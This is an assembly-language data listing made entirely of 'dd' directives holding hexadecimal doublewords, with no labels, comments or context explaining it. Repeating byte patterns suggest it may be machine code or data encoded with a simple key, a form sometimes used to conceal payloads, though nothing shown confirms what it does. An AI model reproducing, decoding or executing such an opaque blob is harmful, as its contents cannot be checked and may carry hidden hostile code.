dd 9ECE1694h, 62990814h, 3D636362h, 8C8D1C34h, 20892393h
dd 9D8C8D1Dh, 94C9174Ch, 1490CE16h, 62629908h, 803D6363h
dd 178C8D1Eh, 0CE1694C9h, 99081497h, 63636396h, 0A0992393h
dd 178C8D1Eh, 0CE1694C9h, 9908148Dh, 63636390h, 8D1D843Dh
dd 8923938Ch, 8C8D1DC0h, 0C9174C9Dh, 99CE1694h, 65990814h
dd 3D636362h, 8C8D1DFCh, 93985C1Fh, 1D088923h, 4C9D8C8Dh
dd 0B8892393h, 1F8C8D1Eh, 8149E76h, 63639D99h, 1E943D63h
dd 999F8C8Dh, 8C8D1D04h, 1694C917h, 8149FCEh, 63626399h
dd 99239363h, 8C8D1DECh, 0D8892393h, 118C8D1Dh, 17968CD8h
dd 0CE1694C9h, 99081493h, 6363639Dh, 0E9639377h, 9D191194h
dd 0CC636363h, 9C35FB74h, 1EAC3D9Ch, 5A158C8Dh, 1E80A99Fh
dd 721F8C8Dh, 16897799h, 639DA918h, 0A5A06363h, 0ACA098E3h
dd 277599E1h, 0DA9C9C92h, 3C992393h, 9F8C8D1Ch, 8D1DF099h
dd 0EE5AA58Ch, 1EF03D46h, 741F8C8Dh, 64191594h, 17636362h
dd 8D1D84A9h, 95721F8Ch, 0F83DA277h, 0D48C8D1Eh, 0A9082293h
dd 6363639Dh, 93AC761Fh, 199D5E33h, 63636264h, 9DA9201Ch
dd 0A8636363h, 0CC3D92E2h, 1F8C8D1Dh, 19B5995Ch, 63636264h
dd 30992393h, 1F8C8D1Ch, 5A9D9974h, 8D1DA03Dh, 985C1F8Ch
dd 0A0892393h, 9D8C8D1Eh, 0EE5AA54Ch, 1D6C3D31h, 5F158C8Dh
dd 1D68819Fh, 771F8C8Dh, 93857791h, 9D811822h, 1F636363h
dd 199DAC74h, 63636264h, 8D1C5C3Dh, 5F9DDC8Ch, 0C8992393h
dd 178C8D1Eh, 8D1C5C89h, 8CD8118Ch, 0EE5FA59Bh, 6419174Eh
dd 25636362h, 9C9C9C96h, 6D6B4EADh, 1C00A117h, 0A19F8C8Dh
dd 8C8D1EB0h, 0A594731Fh, 4B199366h, 119C9C91h, 63639D19h
dd 8963CC63h, 8C8DC7E8h, 0A4A117C5h, 9F8C8D1Eh, 8D1EECA1h
dd 92731F8Ch, 199364A5h, 9C9C912Eh, 0DC992393h, 938C8D1Dh
dd 1D148923h, 5A158C8Dh, 721F4A9Dh, 99239396h, 8C8D1C78h
dd 0EC892393h, 158C8D1Dh, 0D24A9D5Ah, 0AC24B977h, 6B9C9C9Ch
dd 19157Ah, 3D636361h, 8C8D1D90h, 1795741Fh, 63610009h
dd 8998A563h, 8C95AACCh, 93DA8BE8h, 1DF49923h, 23938C8Dh
dd 8D1C7089h, 8CD8118Ch, 0EE5AA5FCh, 99239359h, 8C8D1D08h
dd 1E988917h, 0D8118C8Dh, 5AA5C68Ch, 91A81893h, 0AC249C9Ch
dd 6B9C9C9Ch, 419157Ah, 17636361h, 91790D9h, 63636104h
dd 0CC899815h, 0F48C95AAh, 8C8D0819h, 63461774h, 0A117C563h
dd 8C8D1E98h, 0CB9F731Fh, 0A12393CCh, 8C8D1D58h, 0CB9B731Fh
dd 6390E963h, 91C6AC89h, 5019158Ch, 17636362h, 8D1D6091h
dd 0D8919F8Ch, 1F8C8D1Eh, 5DA59B75h, 0D91795E9h, 50191590h
dd 0F4636362h, 8C8D08E4h, 6346A374h, 2963CC63h, 63636250h
dd 9C91FF74h, 4819159Ch, 0F4636362h, 8C8D08F0h, 6346BF74h
dd 2963CC63h, 63636248h, 9C91DB74h, 245B159Ch, 9C9C9CACh
dd 19157A6Bh, 63636108h, 0A0155F15h, 95AAC881h, 249CF68Ch
dd 9C9C9CACh, 19157A6Bh, 6363610Ch, 0C899A863h, 638C95AAh
dd 8DC6C489h, 1D283D8Ch, 0CCD48C8Dh, 0B9048963h, 19158C9Dh
dd 63636268h, 62781911h, 63CC6363h, 63624829h, 0CC896363h
dd 0F48C8DC6h, 8C8D08FEh, 63452F74h, 80581F63h, 1D5CA963h
dd 29638C8Dh, 63636268h, 1D78A117h, 731F8C8Dh, 2963CB99h
dd 63636248h, 626C2117h, 21B76363h, 63636274h, 702117CBh
dd 0B7636362h, 63627821h, 2393CB63h, 8D1E90A1h, 5CA19F8Ch
dd 0D38C8D1Ch, 7CA117CBh, 9F8C8D1Dh, 8D1DE8A1h, 96731F8Ch
dd 9C9CF4CBh, 2111CC1Ch, 6363639Dh, 9CF4CCCBh, 639C9C9Eh
dd 95D6A089h, 245B158Ch, 9C9C9CACh, 19157A6Bh, 63636110h
dd 0A0155F15h, 95AAC481h, 7019178Ch, 0B7636362h, 63627819h
dd 89239363h, 8C8D1D50h, 0B5BB5E1Fh, 7C19154Ch, 17636362h
dd 63626C21h, 80811763h, 1D8C8D1Eh, 9C9C665Fh, 0B743B59Ch
dd 63627421h, 81239363h, 8C8D1EF4h, 15A55F1Fh, 0AD44B564h
dd 935C194Eh, 4C9D5E00h, 1915644Dh, 63636240h, 0EC892393h
dd 0D68C8D1Dh, 8AE14CA5h, 8C992393h, 9F8C8D1Dh, 8D1C6899h
dd 9E741F8Ch, 62401915h, 0C4F46363h, 748C8D08h, 63634434h
dd 61141915h, 0C8F46363h, 748C8D08h, 63634404h, 61181915h
dd 23936363h, 8D1DF4A1h, 4CA19F8Ch, 1F8C8D1Dh, 63CB9B73h
dd 63626829h, 0A1239363h, 8C8D1D58h, 0CB9B731Fh, 9C9CAC24h
dd 157A6B9Ch, 63611C19h, 635B1563h, 0AAC4A1A8h, 23938C95h
dd 8D1D20A1h, 3881178Ch, 118C8D1Ch, 9C708320h, 63CB9C9Ch
dd 63627C29h, 40211763h, 93636362h, 1D708123h, 89178C8Dh
dd 8C8D1DD4h, 0AE8FC011h, 8117439Dh, 8C8D1ED0h, 1C34819Fh
dd 771F8C8Dh, 0CB439D90h, 1C48A117h, 5B1F8C8Dh, 81239390h
dd 8C8D1C2Ch, 0F4CB439Dh, 0CC1C9C95h, 61182117h, 17CB6363h
dd 63611421h, 0A117CB63h, 8C8D1D68h, 1C28A19Fh, 731F8C8Dh
dd 8963CB95h, 8C95D6A0h, 62541915h, 0D6F46363h, 748C8D08h
dd 63634B54h, 61E01915h, 0ADF46363h, 748C8D08h, 63634B24h
dd 61E41915h, 0A1176363h, 8C8D1E98h, 70812393h, 9D8C8D1Ch
dd 9F731F43h, 682963CBh, 17636362h, 8D1C34A1h, 94731F8Ch
dd 9CAC24CBh, 7A6B9C9Ch, 61E81915h, 5B156363h, 0C4A1A863h
dd 938C95AAh, 1D14A123h, 5B1F8C8Dh, 2963CBABh, 6363627Ch
dd 62402963h, 23936363h, 8D1D98A1h, 0E881178Ch, 118C8D1Dh
dd 0CB9283E0h, 1C9C9CF4h, 0E42117CCh, 0CB636361h, 61E02117h
dd 17CB6363h, 8D1C40A1h, 7CA19F8Ch, 1F8C8D1Ch, 63CB9473h
dd 95D6A089h, 5819158Ch, 93636362h, 1EE89923h, 23938C8Dh
dd 8D1E8C89h, 1F4C9D8Ch, 0F6CC9874h, 0F69CF69Eh, 0F699F69Ch
dd 1C283D9Dh, 23938C8Dh, 8D1EF489h, 1F4C9D8Ch, 3DCC9B74h
dd 8C8D1D60h, 0B0892393h, 9D8C8D1Dh, 99741F4Ch, 992393CCh
dd 8C8D1D8Ch, 20F4CCD4h, 3D9C9C9Eh, 8C8D1C60h, 0FC892393h
dd 9D8C8D1Eh, 97741F4Ch, 1D283DCCh, 999F8C8Dh, 8C8D1C00h
dd 0CC94741Fh, 2C992393h, 1F8C8D1Ch, 93CC9B5Ch, 1D349923h
dd 5C1F8C8Dh, 8963CC88h, 8C95AFBCh, 625C1915h, 9DF66363h
dd 63ACF6CCh, 63625829h, 84896363h, 0F48C9C6Ch, 8C8D08BBh
dd 634AEF74h, 0EC191563h, 0F4636361h, 8C8D08BEh, 634AFF74h
dd 84581F63h, 1DB4A117h, 731F8C8Dh, 2963CB9Bh, 63636268h
dd 1D78A117h, 731F8C8Dh
dd 2963CB99h, 63636254h, 1DFCA117h, 81178C8Dh, 8C8D1EB0h
dd 68830011h, 179C9C9Ch, 8D1DC889h, 9123938Ch, 8C8D1E8Ch
dd 761F569Dh, 0CF4FB59Ah, 627C0117h, 23936363h, 8D1C2C89h
dd 1F4B9D8Ch, 67B59E73h, 0A12393CFh, 8C8D1EDCh, 1DE8A19Fh
dd 0CBD38C8Dh, 1C34A117h, 731F8C8Dh, 9CF4CB9Bh, 0CCCC9C9Ch
dd 61EC2117h, 93CB6363h, 1EBCA123h, 0CBD38C8Dh, 0D6A08963h
dd 5B158C95h, 9C9CAC24h, 157A6B9Ch, 6361F019h, 155F1563h
dd 0AAC081A0h, 0A43D8C95h, 9F8C8D1Dh, 8D1C4899h, 99201C8Ch
dd 6363626Bh, 0F486E9A8h, 8C8D0886h, 63490B74h, 11CCC563h
dd 63623021h, 0D74CB63h, 779C9C3Eh, 890F484h, 0E1748C8Dh
dd 0C5636349h, 302111CCh, 0CB636362h, 9C3EEB74h, 0F06F49Ch
dd 0F9748C8Dh, 11636349h, 63639D21h, 2111CB63h, 63636230h
dd 2111CCCBh, 63636131h, 0B48963CBh, 0F48C91C6h, 8C8D08C4h
dd 6349A374h, 0F4191563h, 93636361h, 1DD8A123h, 0CBD38C8Dh
dd 62682963h, 0A1176363h, 8C8D1C4Ch, 0CB98731Fh, 9C9CAC24h
dd 157A6B9Ch, 6361F819h, 635B1563h, 0AAC0A1A8h, 0A1178C95h
dd 8C8D1DB8h, 0CBBB5B1Fh, 627C2963h, 0A1176363h, 8C8D1DA0h
dd 812393DBh, 8C8D1D34h, 17CB439Dh, 8D1DD4A1h, 8123938Ch
dd 8C8D1D98h, 731F439Dh, 9CF4CB9Eh, 11CC9C9Ch, 63613121h
dd 2117CB63h, 636361F4h, 0C4A117CBh, 0D38C8D1Dh, 0A08963CBh
dd 158C95D6h, 63613419h, 99239363h, 8C8D1D8Ch, 9EF6CCD4h
dd 9CF69CF6h, 9DF699F6h, 0B8992393h, 938C8D1Eh, 1D708923h
dd 4C9D8C8Dh, 0CC99741Fh, 8D1C683Dh, 7489178Ch, 9D8C8D1Ch
dd 1F4C155Eh, 3DCC9574h, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh
dd 0CF4CC93h, 3D9C9C9Dh, 8C8D1DA0h, 0CC95741Fh, 8D1C683Dh
dd 9E741F8Ch, 1EA43DCCh, 999F8C8Dh, 8C8D1ED8h, 0CC96741Fh
dd 8D1D243Dh, 955C1F8Ch, 0BC8963CCh, 158C95AFh, 63624C19h
dd 0CC9DF663h, 2963ACF6h, 63636134h, 6C848963h, 12F48C9Ch
dd 748C8D0Fh, 6363488Ch, 61FC1915h, 16F46363h, 748C8D0Fh
dd 6363489Ch, 61C01915h, 0A9636363h, 8C8D1C20h, 62682963h
dd 0A1176363h, 8C8D1D84h, 819F6715h, 8C8D1EF0h, 0CF8D771Fh
dd 9C9CAC24h, 157A6B9Ch, 6361C419h, 635F1563h, 0AAC081A8h
dd 81178C95h, 8C8D1EECh, 9DB95F1Dh, 819F9C9Ch, 8C8D1D94h
dd 812393CFh, 8C8D1EBCh, 0CFAD5F1Fh, 1ECC8117h, 5F1F8C8Dh
dd 8117CFD5h, 8C8D1C48h, 3C892393h, 9D8C8D1Ch, 98771F4Fh
dd 9C9FF4CFh, 117CC1Ch, 636361C0h, 0FC0117CFh, 0CF636361h
dd 1EC4A19Fh, 731F8C8Dh, 8963CB96h, 8C95D6A0h, 0AC245B15h
dd 6B9C9C9Ch, 0C819157Ah, 15636361h, 81A0155Fh, 8C95AAFCh
dd 8D0FE2F4h, 4FDA748Ch, 19156363h, 636361CCh, 8D0FE6F4h
dd 4FAA748Ch, 581F6363h, 0D01915B4h, 93636361h, 1DF4A123h
dd 23938C8Dh, 8D1E8C81h, 9D66158Ch, 1F4F1546h, 63CF9B77h
dd 63626829h, 98811763h, 938C8D1Eh, 1DB08923h, 4F9D8C8Dh
dd 0CF94771Fh, 9C9CAC24h, 157A6B9Ch, 6361D419h, 635F1563h
dd 0AAC081A8h, 23938C95h, 8D1DEC81h, 0A720118Ch, 9C9C9DBBh
dd 0A12393CBh, 8C8D1C70h, 0CBA05B1Fh, 1C7CA117h, 5B1F8C8Dh
dd 0F8A19FD6h, 0CB8C8D1Dh, 80A12393h, 938C8D1Dh, 1D208923h
dd 0E0118C8Dh, 0F4CBDD8Bh, 0CC1C9C9Fh, 61D02117h, 17CB6363h
dd 6361CC21h, 4315CB63h, 8963CBD3h, 8C95D6A0h, 0AC245B15h
dd 6B9C9C9Ch, 0D819157Ah, 15636361h, 81A0155Fh, 8C95AAF8h
dd 8D1C483Dh, 9A741F8Ch, 621915FAh, 75636362h, 9C9C9C26h
dd 8D0FECF4h, 4ECA748Ch, 2B936363h, 63626221h, 81239363h
dd 8C8D1D70h, 9883E011h, 2111CCCBh, 636361A6h, 0B48963CBh
dd 118C91C6h, 6361A619h, 843DCC63h, 0D48C8D1Eh, 9DDFF4CCh
dd 0AC249C9Ch, 6B9C9C9Ch, 0A819157Ah, 63636361h, 0AAF899A8h
dd 89638C95h, 8C9C6C84h, 8D0FF4F4h, 4D62748Ch, 2B936363h
dd 63626221h, 11CCCB63h, 6361A621h, 8963CB63h, 8C91C6B4h
dd 11BC581Fh, 6361A619h, 4C3DCC63h, 938C8D1Ch, 1C6C8923h
dd 4C9D8C8Dh, 0CC9B741Fh, 9C9DDFF4h, 9CAC249Ch, 7A6B9C9Ch
dd 61AC1915h, 0A8636363h, 95AAFC99h, 8489638Ch, 0FA8C9C6Ch
dd 62621963h, 2B936363h, 63626219h, 40891763h, 1F8C8D1Ch
dd 4CA59A5Eh, 63B21093h, 0FCF46363h, 748C8D0Fh, 63634D18h
dd 61DC1915h, 0C0F46363h, 748C8D0Fh, 63634DE8h, 61A01915h
dd 0A1176363h, 8C8D1DE0h, 1DF8A19Fh, 731F8C8Dh, 2963CB99h
dd 63636268h, 8CA12393h, 0D38C8D1Dh, 9CAC24CBh, 7A6B9C9Ch
dd 61A41915h, 5B156363h, 0C0A1A863h, 938C95AAh, 1EA0A123h
dd 23938C8Dh, 8D1EE881h, 0A7C0118Ch, 5B1FCF88h, 0A117CBCEh
dd 8C8D1D4Ch, 93EC5B1Fh, 1EFC8123h, 439D8C8Dh, 0CCA117CBh
dd 1F8C8D1Dh, 0F4CBB75Bh, 0CC1C9C9Ch, 61A02117h, 17CB6363h
dd 6361DC21h, 9CF4CB63h, 639C9C9Eh, 95D6A089h, 245B158Ch
dd 9C9C9CACh, 19157A6Bh, 636361A8h, 0A0155F15h, 95AAF481h
dd 1DF03D8Ch, 999F8C8Dh, 8C8D1DA4h, 0CC90741Fh, 50F4C4F6h
dd 249C9C9Ch, 9C9C9CACh, 19157A6Bh, 636361ACh, 0F499A863h
dd 638C95AAh, 9C6C8489h, 0FCEF48Ch, 9748C8Dh, 1563634Ch
dd 6361B019h, 0FACF463h, 19748C8Dh, 1563634Ch, 6361B419h
dd 68A11763h, 1F8C8D1Dh, 63CB9973h, 63626829h, 48A11763h
dd 938C8D1Ch, 1DDC8123h, 439D8C8Dh, 0CB90731Fh, 9C9CAC24h
dd 157A6B9Ch, 6361B819h, 635B1563h, 0AAC0A1A8h, 0A1178C95h
dd 8C8D1E9Ch, 0CBA15B1Fh, 627C2963h, 0A1176363h, 8C8D1EF8h
dd 0CBD05B1Fh, 0A8A12393h, 938C8D1Eh, 1DD88123h, 20118C8Dh
dd 9C9C0D83h, 9CF4CB9Ch, 17CC9C9Ch, 6361B421h, 2117CB63h
dd 636361B0h, 24A117CBh, 1F8C8D1Dh, 63CB9B73h, 95D6A089h
dd 3819158Ch, 0F6636361h, 4C29639Dh, 0F6636362h, 8963CCACh
dd 8C9C6C84h, 8D0FBAF4h, 534E748Ch, 19156363h, 636361BCh
dd 8D0F90F4h, 535E748Ch, 581F6363h, 80191584h, 17636361h
dd 8D1DE0A1h, 99731F8Ch, 682963CBh, 17636362h, 8D1D04A1h
dd 6CA19F8Ch, 1F8C8D1Dh, 24CB9073h, 9C9C9CACh, 19157A6Bh
dd 63636184h, 0A8635B15h, 95AAC0A1h, 0A123938Ch, 8C8D1DECh
dd 0CB8A5B1Fh, 0F4A12393h, 1D8C8D1Dh, 9C9C0B5Bh, 2393CB9Ch
dd 8D1EB4A1h, 0A481178Ch, 118C8D1Eh, 9C778320h, 81179C9Ch
dd 8C8D1E98h, 0B5BC5F1Fh, 0A117CB43h, 8C8D1DE8h, 0CB955B1Fh
dd 1C9C9CF4h, 802117CCh, 0CB636361h, 61BC2117h, 17CB6363h
dd 8D1E84A1h, 8123938Ch, 8C8D1DB0h, 731F439Dh, 8963CB9Ah
dd 8C95D6A0h, 0AC245B15h, 6B9C9C9Ch, 8819157Ah, 15636361h
dd 81A0155Fh, 8C95AAF0h, 29639DF6h, 6363624Ch, 9C9CAC24h
dd 6BACF69Ch, 8C19157Ah, 63636361h, 0AAF099A8h, 89638C95h
dd 8C9C6C84h, 0AC2460F6h, 6B9C9C9Ch, 9019157Ah, 15636361h
dd 63619419h, 99A86363h, 8C95AAFCh, 0C6848963h, 21178C95h
dd 63636194h, 0ECA19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h
dd 6B9C9C9Ch, 9819157Ah, 63636361h, 0AAFC99A8h, 89638C95h
dd 8C9DB930h, 0AC2460F6h, 6B9C9C9Ch, 9C19157Ah, 15636361h
dd 63606019h, 99A86363h, 8C95AAF4h, 0C6848963h, 21178C95h
dd 63636060h, 0E4A19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h
dd 6B9C9C9Ch, 6419157Ah
dd 63636360h, 0AAF499A8h, 89638C95h, 8C9DB930h, 0AC2460F6h
dd 6B9C9C9Ch, 6819157Ah, 15636360h, 63606C19h, 99A86363h
dd 8C95AAF8h, 0C6848963h, 21178C95h, 6363606Ch, 0E8A19815h
dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7019157Ah
dd 63636360h, 0AAF899A8h, 89638C95h, 8C9DB930h, 0AC2460F6h
dd 6B9C9C9Ch, 7419157Ah, 15636360h, 63607819h, 99A86363h
dd 8C95AAC0h, 0C6848963h, 21178C95h, 63636078h, 0E0A19815h
dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7C19157Ah
dd 63636360h, 0AAC099A8h, 89638C95h, 8C9DB930h, 9C9CAC24h
dd 157A6B9Ch, 63604019h, 99A86363h, 8C95AAFCh, 0B5608963h
dd 0C2C38C99h, 0C95F55C7h, 24F47915h, 638C9DB9h, 99B56489h
dd 0B9243D8Ch, 5EC18C9Dh, 15C99C98h, 98701D79h, 0CB9C9C9Dh
dd 0F4992393h, 1F8C8D1Eh, 0F4CC9F74h, 9C9C9C1Ch, 0D03D98F6h
dd 1F8C8D1Eh, 93CC9974h, 1DB09923h, 741F8C8Dh, 9CF4CC99h
dd 0F4DC9C9Ch, 8C95AFACh, 0F0848963h, 5B158C8Dh, 78992393h
dd 9F8C8D1Ch, 8D1D1099h, 94C9168Ch, 9D990814h, 3D636363h
dd 8C8D1C74h, 1D28999Fh, 741F8C8Dh, 1911CC94h, 63636260h
dd 992393CCh, 8C8D1D08h, 0CC9A741Fh, 639D1911h, 0CBCC6363h
dd 0EC808963h, 63CB8C8Dh, 95D6D489h, 5F55C38Ch, 247915C9h
dd 9C9C8C9Ch, 9C053774h, 0F6CBCA9Ch, 94E96399h, 6C988963h
dd 5B158C9Ch, 8D1D283Dh, 8923938Ch, 8C8D1E88h, 741F4C9Dh
dd 0E95BA598h, 775CAD98h, 9363F4D3h, 19119C9Ch, 63636C9Dh
dd 8963CBCCh, 8C9D934Ch, 8D1D843Dh, 94741F8Ch, 90E963CCh
dd 6C9D1911h, 74CC6363h, 9C9CDD9Fh, 1790581Fh, 8D1DCCA9h
dd 675A1D8Ch, 0A59C9C63h, 1598E85Ah, 0F6917764h, 8963CB9Eh
dd 8C9C6C98h, 4775B15h, 5F55C2C3h, 1F7915C9h, 0CACFC870h
dd 992393CBh, 8C8D1D20h, 1C20999Fh, 741F8C8Dh, 0E963CC98h
dd 94E9638Ch, 9CFDFB74h, 90581F9Ch, 3D30D915h, 8C8D1EB0h
dd 30D9A7D4h, 9EF61993h, 5BFA9C9Ch, 9C9474D9h, 8D0E60F4h
dd 52DB748Ch, 0CCC56363h, 9C908963h, 0D9158C9Dh, 64D9116Ch
dd 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch, 0CB8CE117h
dd 0CB63A317h, 3D5F15ACh, 8C8D1E9Ch, 54892393h, 9D8C8D1Dh
dd 96741F4Ch, 199344A5h, 9C9C9D60h, 0CC5CD911h, 8D06D8F4h
dd 64D9178Ch, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1DF03Dh
dd 95741F8Ch, 19935FA5h, 9C9C9D57h, 8D1D883Dh, 9E741F8Ch
dd 0FA44D915h, 9E4CD95Bh, 78D9119Ch, 4CE911CCh, 158C701Fh
dd 9C98257Bh, 396F9C9Ch, 1F4CE911h, 7B158C70h, 9C9C9825h
dd 17396F9Ch, 17CB5CE1h, 0B0CB63A3h, 0C43D5F15h, 9F8C8D1Dh
dd 8D1D1899h, 95741F8Ch, 19935FA5h, 9C9C9DF2h, 8D1D4C3Dh
dd 9F741F8Ch, 1160D915h, 0F4CC60D9h, 8C8D06C8h, 0CC78D917h
dd 8863A417h, 9C9C9CA1h, 935F159Ch, 1E909923h, 44A58C8Dh
dd 9DAF1993h, 99639C9Ch, 8C9DB94Ch, 8D1C283Dh, 2393DC8Ch
dd 8D1DDC89h, 0A54C9D8Ch, 9DB94C99h, 9381EE8Ch, 1EF49923h
dd 5C1F8C8Dh, 0B94C3F9Bh, 0E9638C9Dh, 0D7B77460h, 75C59C9Ch
dd 9C9C9C6Ch, 8D1D843Dh, 7C999F8Ch, 1F8C8D1Dh, 0D9158E74h
dd 24D9112Ch, 80A963CCh, 748C9C6Ch, 9C9C9D15h, 1150D915h
dd 63CC28D9h, 95D5BCA9h, 9DEB748Ch, 0D9159C9Ch, 20D91154h
dd 48A963CCh, 748C9D93h, 9C9C9DF9h, 1584581Fh, 0E11F58D9h
dd 81E89C28h, 9C54E11Fh, 0DFF68BE8h, 0CC2CD911h, 6360E963h
dd 0E96328E9h, 0EAF77454h, 581F9C9Ch, 20E11F88h, 1F81E89Ch
dd 0E89C58E1h, 11CCF68Bh, 63CC2CD9h, 0E96360E9h, 58E96320h
dd 9CEAD474h, 88581F9Ch, 9C50E11Fh, 0E11F81E8h, 8BE89C24h
dd 0D911D8F6h, 0E963CC2Ch, 24E96360h, 7450E963h, 9C9CEAB9h
dd 6388581Fh, 896354E9h, 8C9DB950h, 6350E963h, 9DB95089h
dd 58E9638Ch, 0B9508963h, 23938C9Dh, 8D1DB099h, 8923938Ch
dd 8C8D1C70h, 741F4C9Dh, 0E963CC9Fh, 94E9638Ch, 9CC3B774h
dd 90581F9Ch, 0CC60D917h, 0CA63AC17h, 78D91794h, 63AC17CCh
dd 0D91794CAh, 0AC17CC5Ch, 1794CA63h, 17CC64D9h, 94CA63ACh
dd 0CC74D911h, 0ECA88963h, 3D8C8Dh, 9F8C8D1Ch, 8D1D7899h
dd 90741F8Ch, 9CE85FA5h, 55C7C2C3h, 7915C95Fh, 9CBC9C24h
dd 0AE6749Ch, 0CACF9C9Ch, 8363F4CBh, 19119C9Ch, 63637C9Dh
dd 94E963CCh, 0ECA48963h, 78F48C8Dh, 748C8D0Eh, 636355ECh
dd 70A12393h, 0DB8C8D1Ch, 2111CCCBh, 63637C9Dh, 0A17174CBh
dd 581F9C9Ch, 0A923938Ch, 8C8D1D54h, 1C812393h, 118C8D1Dh
dd 636A8228h, 6CA59C9Ch, 0E96395E8h, 1D6B7494h, 0ADC59C9Ch
dd 0C2C3DC5Ch, 945E55C7h, 7915C99Ch, 0CACFCCCDh, 0F49CF6CBh
dd 9C9C9C1Ch, 9CF69FF6h, 9CF49FF6h, 631C9C9Ch, 896394E9h
dd 8C8DF084h, 643D5B15h, 1F8C8D1Dh, 5BA5645Ch, 2393B2E9h
dd 8D1D3499h, 10999F8Ch, 0A58C8D1Dh, 84E890D9h, 9390D917h
dd 1D508923h, 23938C8Dh, 8D1EE891h, 1F569D8Ch, 8C159B76h
dd 0C0775CADh, 54992393h, 9F8C8D1Dh, 8D1DC499h, 94741F8Ch
dd 8963CBCCh, 8C95C688h, 5C1F5A15h, 0DCF6CC8Ch, 0B5708963h
dd 5F158C99h, 0A8992393h, 1F8C8D1Eh, 1FCC9874h, 0E89C90E1h
dd 90D91794h, 7764D915h, 60D9119Ah, 6364D915h, 0CFCA64E9h
dd 0A88963CBh, 0CB8C9C6Ch, 0D6D48963h, 44158C95h, 55C7C2C3h
dd 49F4CB5Fh, 748C8D0Eh, 636354FCh, 8963CCC5h, 8C9DB904h
dd 8D1E343Fh, 9923938Ch, 8C8D1D14h, 0A599741Fh, 8D1E3499h
dd 0F48BE98Ch, 8C8D0E5Ah, 6354AB74h, 63CCC563h, 99AF8489h
dd 1E343F8Ch, 2CF48C8Dh, 748C8D0Eh, 636354BCh, 0A963CCC5h
dd 8C8D1E34h, 0BD308963h, 0B43F8C9Dh, 0C38C9C6Ch, 0DC9D245Fh
dd 845E1C9Ch, 7915C99Ch, 9EF8701Dh, 0CACF9C9Ch, 998174CBh
dd 0B3749C9Ch, 749C9CA5h, 636363E1h, 634F0C74h, 58967463h
dd 0C6746363h, 749C9CC6h, 9C9CF9C9h, 9CA57B74h, 0EA7F749Ch
dd 21749C9Ch, 749C9C80h, 9C9C9105h, 9CE5A774h, 97CF749Ch
dd 5F159C9Ch, 9C8AEE74h, 145E159Ch, 63622F09h, 99239363h
dd 8C8D1DECh, 92A93DCh, 6363622Fh, 84E94CA5h, 8D1D7C3Dh
dd 8923938Ch, 8C8D1EB4h, 741F4C9Dh, 8963CC92h, 8C8DC6FCh
dd 2F192A93h, 93636362h, 1DDC8923h, 761F8C8Dh, 0E94CA598h
dd 1DA43D84h, 5C1F8C8Dh, 34999FC5h, 0CC8C8D1Ch, 0C6B88963h
dd 77C58C91h, 0EC896307h, 158C8DC7h, 943D24D9h, 9F8C8D1Eh
dd 8D1DB899h, 97741F8Ch, 19935FA5h, 9C9C9D94h, 9C9C63F4h
dd 2819119Ch, 0CC636361h, 8D1EA43Dh, 8923938Ch, 8C8D1E88h
dd 741F4C9Dh, 9CF4CC95h, 639C9C98h, 9DB93489h, 1922938Ch
dd 63636128h, 0F424D99Dh, 8C8D0E39h, 635A6F74h, 38191563h
dd 0F4636361h, 8C8D0E07h, 635A7F74h, 2117CC63h, 63636138h
dd 252111CBh, 0CB636362h, 0C6B48963h, 19118C91h, 63636225h
dd 3D9CF6CCh, 8C8D1E98h, 1DA8999Fh, 741F8C8Dh, 8963CC97h
dd 8C95C690h, 13F45A15h, 748C8D0Eh, 63635A38h, 613C1915h
dd 19F46363h, 748C8D0Eh, 63635A08h, 1D48A963h, 17CC8C8Dh
dd 63613C21h, 2111CB63h, 63636225h, 0B48963CBh, 1F8C91C6h
dd 1911B058h, 63636225h, 3D9DF6CCh, 8C8D1E98h, 0CC9F741Fh
dd 0C6908963h, 5A158C95h, 8D1D783Dh, 99741F8Ch, 93E96CA5h
dd 8D1EAC3Dh, 98741F8Ch
dd 0FC8963CCh, 938C8DC6h, 1DBC9923h, 89178C8Dh, 8C8D1C24h
dd 688CD811h, 8963CACCh, 8C91C6BCh, 50992393h, 9F8C8D1Dh
dd 8D1C3499h, 99741F8Ch, 0CC24D99Fh, 0C5688963h, 0D43D8C95h
dd 9F8C8D1Dh, 8D1EB099h, 94741F8Ch, 48963CCh, 158C9DB9h
dd 63622819h, 942E7463h, 783D9C9Ch, 1F8C8D1Dh, 0D9159974h
dd 0EE7F458h, 45748C8Dh, 15636359h, 843D7CD9h, 9F8C8D1Eh
dd 8D1C4099h, 94741F8Ch, 3D48D915h, 8C8D1C0Ch, 54D915D4h
dd 9944D95Bh, 939C9C9Ch, 1E889923h, 741F8C8Dh, 4CD9159Fh
dd 9F20D95Bh, 3D9C9C9Ch, 8C8D1EACh, 1599741Fh, 191740D9h
dd 63636228h, 1150D915h, 9CB0AF99h, 5CD9158Ch, 0CC20D911h
dd 0BC0C8963h, 0E1178C9Dh, 9B22937Ch, 28112293h, 5636361h
dd 1915656Bh, 63636134h, 8D0EEDF4h, 59C6748Ch, 19156363h
dd 63636100h, 8D0EFBF4h, 59D6748Ch, 0A1176363h, 8C8D1DA8h
dd 0CB94731Fh, 62282963h, 0A1176363h, 8C8D1D68h, 0CB99731Fh
dd 0E8A12393h, 0D38C8D1Eh, 0C8A117CBh, 1F8C8D1Dh, 93CB9B73h
dd 1EB8A123h, 23938C8Dh, 8D1EFC89h, 1F4B9D8Ch, 93CB9773h
dd 1D20A123h, 66158C8Dh, 0CE99761Fh, 1D28A19Fh, 731F8C8Dh
dd 9CF4CB9Ah, 0CC9C569Ch, 61002117h, 93CB6363h, 1DC0A123h
dd 731F8C8Dh, 8963CB9Fh, 8C95D6A0h, 9DB95C3Fh, 2C19118Ch
dd 0CC636361h, 62282963h, 92746363h, 159C9CE1h, 63613019h
dd 0C69C3F63h, 19178C95h, 6363612Ch, 9DB9583Fh, 749CF68Ch
dd 9C9C8845h, 3D80581Fh, 8C8D1C24h, 0A594741Fh, 7480E95Fh
dd 9C9CCA67h, 44992393h, 9F8C8D1Ch, 8D1DAC99h, 90741F8Ch
dd 91C6B03Fh, 3D89778Ch, 8C8D1C5Ch, 9CA60899h, 0A4999F9Ch
